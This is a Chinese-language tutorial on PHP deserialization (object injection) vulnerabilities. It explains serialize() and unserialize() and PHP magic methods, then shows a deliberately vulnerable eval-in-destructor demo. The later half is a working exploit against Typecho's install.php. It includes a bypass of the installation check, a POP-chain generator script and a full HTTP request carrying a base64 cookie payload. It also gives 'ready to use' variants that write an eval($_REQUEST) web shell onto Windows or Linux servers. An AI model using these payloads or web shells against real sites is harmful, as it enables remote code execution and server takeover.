反序列化

百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区.以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象. 简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台,安全的进行通信

PHP反序列化漏洞

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果.漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行,getshell等一系列不可控的后果.反序列化漏洞并不是PHP特有,也存在于Java,Python等语言之中,但其原理基本相通

  • PHP中的序列化与反序列化,基本都是围绕serialize()unserialize()
  • 两个函数展开的.在介绍这两个函数之前,我们来看一个简单的例子

什么是序列化

我们可以用json格式数据的编码与解码,来理解序列化与反序列化的过程.虽然json数据与反序列化漏洞没有什么关系,但是这个例子会帮助我们理解

<?php
// 我们定义一个数组,数组属于抽象的数据结构,为了方便跨平台传输数据,可以将其进行json编码.json格式的数据是以键值对的形式出现的
$stu=array('name'=>'AJEST','age'=>18,'SEX'=>true,'score'=>89.9);
echo $stu;
echo "<hr />";
$stu_json=json_encode($stu);
echo $stu_json;
?>

QQ截图20210107145511.png

序列化演示

序列化会将一个抽象的对象转换为字符串.我们可以写一个Demo来说明序列化的过程,首先创建一个类,代码如下

<?php
class Stu{
    public $name;
    public $sex;
    public $age;
    public $score;
}
?>

类名是Stu,该类中有四个变量(关于变量的性质,我们这里不讨论.接下来,我们可以将这个类实例化,也就是创建一个对象,并给对象中变量赋值.代码如下

<?php
include "classStu.php";
$stu1 = new Stu();
$stu1->name = "AJEST";
$stu1->sex = true;
$stu1->age = 18;
$stu1->score = 89.9;
echo serialize($stu1);
?>

最后我们使用serialize(),将$stu1这个对象序列化成一个字符串.这样的字符串.就很容易传输和存储了

  • O : 对象
  • s : 字符串
  • b : 布尔型
  • i : 整型
  • d : 浮点型
  • a : 数组
  • N : null

QQ截图20210107145734.png

同样,我们可以使用unserialize()函数,将字符串反序列化为一个对象.由于字符串中含有双引号,所以此处可以使用定界符的方法定义字符串.代码如下

// 运行这个脚本文件,我们可以看到反序列化后的对象
<?php
include "classStu.php";
$stu1=
<<<STR
O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"sex";b:1;s:3:"age";N;s:5:"score";d:89.9;}
STR;
$stu1=unserialize($stu1);
var_dump($stu1);
?>

QQ截图20210107150316.png

漏洞演示

该代码中存在析构方法,在实例化类被销毁时,会自动执行该方法,方法中存在eval()所以只要能在其中注入序列化字符串,就可以利用漏洞

<?php
class Test{
    public $str='blog;';
    function __destruct(){
        //echo "This is function __construct()";
        @eval($this->str);
    }
}
// 获取序列化字符串
$test = new Test();
echo serialize($test);

// 通过get方法传入字符串
var_dump(unserialize($_GET['code']));
?>
  • 将得到的序列化字符串反序列化为对象
  • 构造序列化字符O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}传入code参数.phpinfo()会被执行

QQ截图20210107151138.png

php魔术方法

__开头的方法,是PHP中的魔术方法,类中的魔术方法,在特定情况下会被自动调用.利用漏洞时也可以利用除了析构方法以外的魔术方法.主要魔术方法如下

  • __construct() : 在创建对象时自动调用
  • __destruct() : 在销毁对象时自动调用
  • __call() : 在对象中调用一个不可访问方法时会被调用
  • __callStatic() : 在静态上下文中调用一个不可访问方法时调用
  • __get() : 读取不可访问属性的值时会被调用
  • __set() : 在给不可访问属性赋值时会被调用
  • __isset() : 当对不可访问属性调用isset()empty()时会被调用
  • __unset() : 当对不可访问属性调用unset()时会被调用
  • __sleep() : serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在,该方法会先被调用,然后才执行序列化操作.
  • __wakeup() : unserialize()会检查是否存在一个__wakeup().如果存在,则会先调用__wakeup(),预先准备对象需要的资源.
  • __toString() : __toString()方法用于一个类被当成字符串时应怎样回应
  • __invoke() : 当尝试以调用函数的方式调用一个对象时会被自动调用
  • __set_state() : 自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用
  • __clone() : 当复制完成时,如果定义了__clone()方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)

Typecho反序列化漏洞

安装完以后查看install.php文件

// 58行验证是否安装 在url中添加finish参数,在请求头添加referer绕过该判断
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}


// 漏洞位置在232行附近,base64解码后执行反序列化
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');

// 这里如果构造的反序列化是一个数组,其中adapter设置为某个类,就可以触发相应类的__toString方法
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
  • 看起来比较清楚,一个比较明显的反序列化漏洞.问题在于如何利用,反序列化能够利用的点必须要有相应的魔术方法配合.其中比较关键的只有几个其中__destruct()是在对象被销毁的时候自动调用,__Wakeup在反序列化的时候自动调用,__toString()是在调用对象的时候自动调用

  • 构建反序列化字符串

<?php

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

QQ截图20210107161501.png

  • 利用以上生成的字符串,发送请求,报文如下
  • url中必须带有finish=绕过验证
  • 请求头必须有Referer绕过验证
  • 反序列化字符串的变量名为__typecho_config
GET /install.php?finish= HTTP/1.1
Host: 10.0.0.5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Referer: http://10.0.0.5
Cookie: __typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
  • 构建生成webshell的字符串
// php版本5.4
<?php

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777]);?>')";
        $this->_filter[0] = 'assert';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

QQ截图20210107161806.png

  • 整理出以下字符串可以直接使用,php7不能使用assert()执行命令,但是可以使用system()来写入文件
#php5写入文件到当前目录
public function __construct()
{
    $this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777]);?>')";
    $this->_filter[0] = 'system';
}

#windows查看当前路径
public function __construct()
{
    $this->_params['screenName'] = 'chdir';
    $this->_filter[0] = 'system';
}

#linux查看当前路径
public function __construct()
{
    $this->_params['screenName'] = 'pwd';
    $this->_filter[0] = 'system';
}


#写入文件
public function __construct()
{
//windows
    $this->_params['screenName'] = 'echo "<?php @eval($_REQUEST[777])?>" >> c:\\www\\shell.php';
//linux
    $this->_params['screenName'] = 'echo "<?php @eval($_REQUEST[777])?>" >> /www/shell.php';
    $this->_filter[0] = 'system';
}